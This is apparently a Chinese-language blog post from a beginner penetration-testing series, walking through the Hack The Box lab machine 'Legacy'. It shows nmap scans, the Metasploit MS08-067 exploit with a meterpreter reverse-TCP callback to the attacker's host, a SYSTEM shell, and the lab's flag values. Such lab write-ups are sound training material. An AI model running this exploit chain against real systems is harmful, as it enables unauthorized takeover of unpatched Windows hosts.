25: 資安滲透初探: HTB靶機入門: Legacy (windows)

2024 iThome 鐵人賽

DAY 29

自我挑戰組

從零開始:資安滲透初探系列第 29 篇

16th鐵人賽資訊安全 htb 新手上路

oilseller

2024-08-29 22:11:00

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這應該是我打過最開心的一台靶機了!完全不用write-up跟hint

--
https://app.hackthebox.com/machines/Legacy
靶機介紹:
Legacy 是一個相當簡單的初學者級別機器，旨在展示 Windows 上 SMB 的潛在安全風險。只需一個公開可用的漏洞利用即可獲得管理員訪問權限。

Task 1: How many TCP ports are open on Legacy?

```bash
┌──(kali㉿kali)-[~]
└─$ nmap -Pn -sV 10.10.10.4    
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 07:54 EDT
Nmap scan report for 10.10.10.4
Host is up (0.66s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE      VERSION
135/tcp open  msrpc        Microsoft Windows RPC
139/tcp open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows XP microsoft-ds
Service Info: OSs: Windows, Windows XP; CPE: cpe:/o:microsoft:windows, cpe:/o:microsoft:windows_xp

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 75.34 seconds
```

Task 2: What is the 2008 CVE ID for a vulnerability in SMB that allows for remote code execution?

```bash
┌──(kali㉿kali)-[~]
└─$ nmap --script=smb-vuln* 10.10.10.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 08:00 EDT
Nmap scan report for 10.10.10.4
Host is up (0.66s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 66.67 seconds
```

Task 3: What is the name of the Metasploit module that exploits CVE-2008-4250?

```bash
msf6 > search smb

Matching Modules
================

   #    Name                                                                            Disclosure Date  Rank       Check  Description
   -    ----                                                                            ---------------  ----       -----  -----------
...
...
   111  exploit/windows/smb/ms08_067_netapi                                             2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
...
```

Task 4: When exploiting MS08-067, what user does execution run as? Include the information before and after the .

```bash
msf6 > use exploit/windows/smb/ms08_067_netapi
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOSTS                    yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.242.130  yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/ms08_067_netapi) > set RHOSTS 10.10.10.4
RHOSTS => 10.10.10.4
msf6 exploit(windows/smb/ms08_067_netapi) > set LHOST 10.10.16.2
LHOST => 10.10.16.2
msf6 exploit(windows/smb/ms08_067_netapi) > run

[*] Started reverse TCP handler on 10.10.16.2:4444 
[*] 10.10.10.4:445 - Automatically detecting the target...
[*] 10.10.10.4:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 10.10.10.4:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 10.10.10.4:445 - Attempting to trigger the vulnerability...
[*] Sending stage (176198 bytes) to 10.10.10.4
[*] Meterpreter session 1 opened (10.10.16.2:4444 -> 10.10.10.4:1032) at 2024-08-25 08:09:50 -0400

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
```

Task 5: Submit the flag located on the john user's desktop.

```bash
meterpreter > shell
Process 1800 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>
...
C:\Documents and Settings\john\Desktop>type user.txt
type user.txt
e69af0e4f443de7e36876fda4ec7644f
```

Task 6: Submit the flag located on the administrator's desktop.

```bash
C:\Documents and Settings\Administrator\Desktop>type root.txt
type root.txt
993442d258b0e0ec917cae9e695d5713
```

Task 7: In addition to MS08-067, Legacy's SMB service is also vulnerable to another remote code execution vulnerability with a CVE ID from 2017. What is that ID?

```bash
┌──(kali㉿kali)-[~]
└─$ nmap --script=smb-vuln* 10.10.10.4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-25 08:00 EDT
Nmap scan report for 10.10.10.4
Host is up (0.66s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT    STATE SERVICE
135/tcp open  msrpc
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds

Host script results:
|_smb-vuln-ms10-054: false
| smb-vuln-ms08-067: 
|   VULNERABLE:
|   Microsoft Windows system vulnerable to remote code execution (MS08-067)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2008-4250
|           The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
|           Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
|           code via a crafted RPC request that triggers the overflow during path canonicalization.
|           
|     Disclosure date: 2008-10-23
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_      https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 66.67 seconds
```